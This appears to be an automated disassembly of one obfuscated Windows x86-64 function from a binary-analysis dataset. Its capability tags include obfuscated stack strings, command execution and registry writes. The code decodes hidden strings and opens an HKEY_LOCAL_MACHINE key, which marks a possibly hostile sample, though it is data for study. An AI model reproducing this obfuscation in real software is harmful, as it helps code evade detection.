Function at 0x1400d42a0
Capabilities:
Contain obfuscated stackstrings
Execute command
Parse pe header
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
xor eax, eax
mov dword [rbp + 0x260], 4
movzx r10d, byte [rbp + 0x260]
movabs rsi, 0x9f0021f699dae5de
mov qword [rbp + 0x7a], rax
movabs r14, 0x99db6f54e2c147e6
mov dword [rbp + 0x20], 0x7775447b
movabs r15, 0x68b6e9fbf8cb8716
mov dword [rbp + 0x24], 0x604a7c65
movabs r13, 0x35000b523348f74a
mov dword [rbp + 0x28], 0x5e4c5351
movabs r12, 0xcd924dfea843d7b2
mov dword [rbp + 0x2c], 0x4c794d4a
mov dword [rbp + 0x30], 0x4044494e
mov dword [rbp + 0x34], 0x4353664c
mov dword [rbp + 0x38], 0xa77b8584
mov dword [rbp + 0x3c], 0xbbbcba8f
mov dword [rbp + 0x40], 0xafbebeba
mov dword [rbp + 0x44], 0xbecca484
mov dword [rbp + 0x48], 0xae81a0a3
mov dword [rbp + 0x4c], 0xb3baafb9
mov dword [rbp + 0x50], 0xa1b7ba8b
mov dword [rbp + 0x54], 0xa4afa7b1
mov dword [rbp + 0x58], 0xe2b2b9a3
mov dword [rbp + 0x5c], 0xe5988c98
mov dword [rbp + 0x60], 0x95919a95
mov dword [rbp + 0x64], 0x949c93a5
mov dword [rbp + 0x68], 0x9f9f8292
mov dword [rbp + 0x6c], 0x9a9a8abf
mov dword [rbp + 0x70], 0x96868fa5
mov dword [rbp + 0x74], 0x838f878b
mov word [rbp + 0x78], 0x75fd
nop dword [rax]
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
xor edi, edi
cmp rdi, 0x62
jae 0x1400d4f66
movzx r11d, byte [rbp + rdi + 0x20]
mov edx, r11d
cmp r8, rdi
ja 0x1400d4f5d
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400d4402
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x4a
add r10b, cl
jmp 0x1400d4440
je 0x1400d4eec
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d4e72
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d4e42
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d4e02
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d4dc0
nop dword [rax]
cmp r9, rdi
ja 0x1400d4f54
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400d446d
lea rcx, [rdi + rsi]
movzx eax, dl
and al, cl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x12
add r10b, cl
jmp 0x1400d44b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d4da0
inc rax
cmp r8, rax
je 0x1400d4d82
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d4d63
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d4d49
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d4d21
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d4a29
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d4a06
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d49e2
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d49bd
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d499a
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d497c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d495d
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d493f
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400d4920
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d48f7
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d44c0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d4f33
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d4f16
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400d46ab
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d468b
lea rcx, [r9 + 0x10]
cmp r8, rcx
jb 0x1400d466f
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d48a4
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d4861
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d481d
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d47fb
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d44c0
lea r9, [rcx + 0x20]
mov r8, rcx
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x1400d47ce
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x1400d47af
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1400d4791
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x1400d4772
lea rcx, [r9 + 0xa]
cmp r8, rcx
ja 0x1400d4754
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d4731
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d4710
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d46e8
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d46c5
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400d44c0
mov r8, rcx
lea r9, [rcx + 1]
jmp 0x1400d44c0
lea r10d, [rdi - 0x1e]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x2e
add r10b, r11b
jmp 0x1400d44b0
lea ecx, [rdi + 0x16]
mov r10d, 0x33
movzx eax, cl
and al, r11b
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, r11b
jmp 0x1400d4440
lea ecx, [rdi + 0x4a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
jmp 0x1400d43d5
lea edx, [rdi - 0x10]
mov ecx, Ordinal_60
movzx eax, r11b
movzx ebx, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d4dd9
lea edx, [rdi + 0x24]
mov ecx, 2
movzx eax, r11b
inc r9
and al, dl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1400d43c2
lea ecx, [rdi + 0x58]
movzx eax, r11b
and al, cl
dec rdi
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x68
inc rdi
jmp 0x1400d43c2
lea edx, [rdi - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx eax, r11b
movzx ebx, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d4e20
lea ecx, [rdi - 0x40]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
add r8, r9
jmp 0x1400d4e59
lea edx, [rdi - 0xc]
mov ecx, Ordinal_45
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d4e59
lea edx, [rdi + 0x28]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, dl
jmp 0x1400d4e88
lea edx, [rdi + 0x5c]
mov ecx, 0x3e
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d4eaf
lea edx, [rdi - 0x70]
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
movzx eax, byte [rbp + rdi + 0x20]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1400d43c2
lea ecx, [rdi + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
mov byte [rbp + rdi + 0x20], r10b
inc rdi
jmp 0x1400d43c2
lea edx, [rdi + 0x46]
movzx eax, r11b
and al, dl
mov ecx, ntohl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 9
jb 0x1400d4810
mov ecx, 2
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx - 0x5c]
and al, dl
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400d4dd9
lea edx, [rdi + 0x7a]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x56
add r10b, dl
cmp r8, 0x3e8
jae 0x1400d4cde
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400d4c00
lea edx, [rdi - 0x54]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
jmp 0x1400d482b
lea edx, [rdi - 0x52]
mov ecx, Ordinal_32
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x1400d4d05
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400d4b21
mov ecx, Ordinal_50
lea edx, [rdi - 0x32]
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400d4877
lea ecx, [rdi + 0x34]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rdi + 0x20]
add rax, r9
add rdi, rax
lea r10d, [rcx + r11]
sub r10b, 0x6c
inc rdi
jmp 0x1400d43c2
lea edx, [rdi + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d4eaf
lea edx, [rdi - 0x64]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x44
add r10b, dl
jmp 0x1400d4e88
lea edx, [rdi - 0x30]
mov ecx, Ordinal_41
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d4e59
lea ecx, [rdi + 4]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1c
add r8, r9
jmp 0x1400d4e59
mov ecx, reloc.WLDAP32.dll_Ordinal_60
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx + 0x38]
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d4e20
lea edx, [rdi + 0x6c]
mov ecx, 6
movzx eax, r11b
dec rdi
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1400d43c2
lea ecx, [rdi - 0x60]
movzx eax, r11b
and al, cl
inc r9
add al, al
dec rdi
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
inc rdi
jmp 0x1400d43c2
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx - 0x2c]
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d4dd9
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400d4a4c
lea ecx, [rdi - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
jmp 0x1400d48be
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d4a7d
lea ecx, [rdi - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi + 0x20]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x24
inc rdi
jmp 0x1400d43c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d4aa0
lea ecx, [rdi + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x1400d4e88
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4ac8
lea edx, [rdi + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d4e59
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d4aef
movzx ebx, dil
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x1400d4e20
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d48be
lea edx, [rdi - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, dl
dec rdi
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rdi
jmp 0x1400d43c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d4b4c
movzx ebx, dil
movzx eax, r11b
movzx r10d, r11b
lea edx, [rbx - 0x66]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x36
add r10b, dl
jmp 0x1400d4dd9
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d4b77
lea edx, [rdi - 0x36]
mov ecx, 0x3d
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
jmp 0x1400d4e59
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d4b9f
lea edx, [rdi + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d4e88
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d4bc6
lea edx, [rdi + 0x2e]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x42
add r10b, dl
jmp 0x1400d4eaf
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d487a
lea edx, [rdi - 6]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
movzx eax, byte [rbp + rdi + 0x20]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1400d43c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d4c32
lea ecx, [rdi + 0x78]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
movzx eax, byte [rbp + rdi + 0x20]
add rax, r9
add rdi, rax
lea r10d, [rcx + r11]
sub r10b, 0x48
inc rdi
jmp 0x1400d43c2
inc rax
cmp r8, rax
jne 0x1400d4c59
lea edx, [rdi + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d4eaf
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d4c80
lea edx, [rdi + 0x10]
movzx eax, r11b
and al, dl
movzx r10d, r11b
add al, al
sub r10b, al
sub r10b, 0x70
add r10b, dl
jmp 0x1400d4e88
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d4cae
lea edx, [rdi + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, r11b
dec rdi
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc rdi
jmp 0x1400d43c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d4837
mov ecx, ntohl
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx - 0x28]
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400d4dd9
movzx r10d, byte [rbp + rdi + 0x20]
movzx ebx, dil
movzx eax, r11b
lea edx, [rbx + 0x70]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x10
add r10b, r11b
add r10b, dl
jmp 0x1400d4e20
lea edx, [rdi + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400d4e88
lea ecx, [rdi + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rdi + 0x20]
add rax, r9
add rdi, rax
lea r10d, [r11 + rcx]
sub r10b, 0x46
inc rdi
jmp 0x1400d43c2
lea ecx, [rdi + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x1400d4e88
lea edx, [rdi - 0x5a]
mov ecx, Ordinal_60
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d4e59
movzx ebx, dil
lea ecx, [rbx + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
jmp 0x1400d4e20
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx ebx, dil
lea edx, [rbx - 0x56]
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400d4dd9
movzx ebx, dil
lea ecx, [rbx + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
sub bl, 0x76
movzx eax, r11b
and al, bl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x20], cl
inc r9
dec rdi
inc rdi
jmp 0x1400d43c2
mov ecx, Ordinal_32
movzx ebx, dil
lea edx, [rbx - 0x52]
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r11b
add bl, 0x56
and al, bl
add al, al
sub r11b, al
sub r11b, 0x5a
add r11b, bl
add r11b, r10b
mov byte [rbp + rdi + 0x20], r11b
add r8, r9
jmp 0x1400d4e59
lea rcx, [rdi + r15]
mov eax, 0x33
and dl, cl
sub al, dl
lea r10d, [rax + rax]
add r10b, r11b
add r10b, cl
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d43c2
lea rcx, [rdi + r13]
movzx r10d, r11b
and dl, cl
add dl, dl
sub r10b, dl
sub r10b, 6
add r10b, cl
lea edx, [rdi + 0x22]
movzx eax, r11b
and al, dl
inc r9
mov ecx, 9
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x20], al
add rax, r9
sub rdi, rax
lea ecx, [rdi + 8]
movzx eax, r11b
and al, cl
inc r8
add al, al
sub r11b, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub r11b, 0x38
add r11b, cl
mov byte [rbp + rdi + 0x20], r11b
add rdi, rax
movzx eax, byte [rbp + rdi + 0x20]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d43c2
lea rcx, [rdi + r12]
mov eax, reloc.WS2_32.dll_recvfrom
and dl, cl
sub al, dl
lea r10d, [rax + rax]
add r10b, r11b
add r10b, cl
movzx eax, byte [rbp + rdi + 0x20]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d43c2
add dil, 0x7e
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
lea r10d, [rdi + r11]
sub r10b, 0x72
jmp 0x1400d43c0
sub dil, 0x4e
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, r11b
and al, dil
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dil
jmp 0x1400d43b0
lea rdx, [rbp + 0x15c4ea8]
jmp 0x1400d4f6a
lea rdx, [rbp + 0x9d968e]
jmp 0x1400d4f6a
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x270]
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400d7d2f
movzx r10d, byte [rbp + 0x260]
xor eax, eax
mov qword [rsp + 0x48], rax
xor r13d, r13d
mov dword [rsp + 0x50], eax
movabs rsi, 0xe313a5b7bf0c80cc
mov word [rsp + 0x54], ax
movabs r14, 0xf65be1e7ea598044
mov byte [rsp + 0x56], al
movabs r15, 0xcfcb698793bf8154
mov dword [rsp + 0x40], 0x797b0f65
mov dword [rsp + 0x44], 0x970a0800
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
mov rdi, r13
cmp rdi, 0x17
jae 0x1400d5af2
movzx ebx, byte [rsp + rdi + 0x40]
mov r11d, ebx
cmp r8, rdi
ja 0x1400d5ae9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d5035
lea rcx, [rdi + r14]
movzx eax, r11b
and al, cl
mov r10d, reloc.WS2_32.dll_select
sub r10b, al
add r10b, r10b
add r10b, r11b
add r10b, cl
jmp 0x1400d507b
je 0x1400d5a76
inc rax
cmp r8, rax
je 0x1400d5a25
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d59f5
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d59bf
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d5998
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d5955
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400d5ae0
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400d50aa
lea r10d, [rdi - 0x6c]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0xc
add r10b, bl
jmp 0x1400d5110
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d5935
inc rax
cmp r8, rax
je 0x1400d5913
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d58f5
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d58dc
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d5896
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d5878
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d584c
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400d558a
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d5567
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d5545
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d5521
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d54ff
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400d54e6
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d54cd
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d54aa
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d548c
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d5465
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d5120
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400d5ac0
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400d5aa4
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d5295
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d5420
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d53d4
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d5395
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d5374
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d5120
lea r8, [r9 + 1]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d5348
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400d532f
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d5312
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d52f4
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d52d8
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400d52cb
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d52ae
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400d5120
lea r8, [r9 + 9]
lea r9, [r8 + 4]
jmp 0x1400d5120
lea ecx, [rdi - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x74
jmp 0x1400d5110
lea ecx, [rdi - 0x60]
movzx r11d, dil
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x60
jmp 0x1400d596e
lea edx, [rdi + 0x18]
mov ecx, Ordinal_45
jmp 0x1400d59a0
lea ecx, [rdi + 0x80]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x80
jmp 0x1400d5a09
lea edx, [rdi - 8]
mov ecx, Ordinal_32
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d5a0c
lea ecx, [rdi + 0x70]
movzx r11d, dil
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
jmp 0x1400d58af
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x58
jmp 0x1400d5a3a
lea edx, [rdi + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d4ff3
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x54
mov byte [rsp + rdi + 0x40], r10b
inc rdi
jmp 0x1400d4ff3
lea edx, [rdi - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r9, 0x20
jb 0x1400d5388
movzx r11d, dil
lea ecx, [r11 + 0x18]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r10d, [rcx*2 - 0x50]
jmp 0x1400d596e
lea edx, [rdi - 4]
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
cmp r8, 0x1000
jae 0x1400d5806
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400d572c
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x78
jmp 0x1400d53ae
lea ecx, [rdi + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2c
lea rax, [r8 + r9]
cmp rax, 0x40
je 0x1400d582d
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400d5665
lea ecx, [rdi + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6c
jmp 0x1400d53ed
lea ecx, [rdi + 0x78]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rsp + rdi + 0x40]
add rax, r9
add rdi, rax
lea r10d, [rbx + rcx]
sub r10b, 0x48
inc rdi
jmp 0x1400d4ff3
lea edx, [rdi - 0x10]
mov ecx, Ordinal_60
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d5a3a
mov ecx, reloc.WS2_32.dll_sendto
movzx r11d, dil
lea edx, [r11 + 0x68]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d58af
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x20
jmp 0x1400d5a0c
lea ecx, [rdi + 0x58]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x68
jmp 0x1400d5a09
lea edx, [rdi - 0x30]
mov ecx, Ordinal_41
movzx eax, dl
movzx r11d, dil
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d59d8
lea edx, [rdi + 0x48]
mov ecx, 4
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d4ff3
lea ecx, [rdi - 0x40]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x40
inc rdi
jmp 0x1400d4ff3
mov ecx, reloc.WLDAP32.dll_Ordinal_60
movzx r11d, dil
lea edx, [r11 + 0x38]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d596e
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400d55b1
lea edx, [rdi + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d5434
lea rax, [r9 + 1]
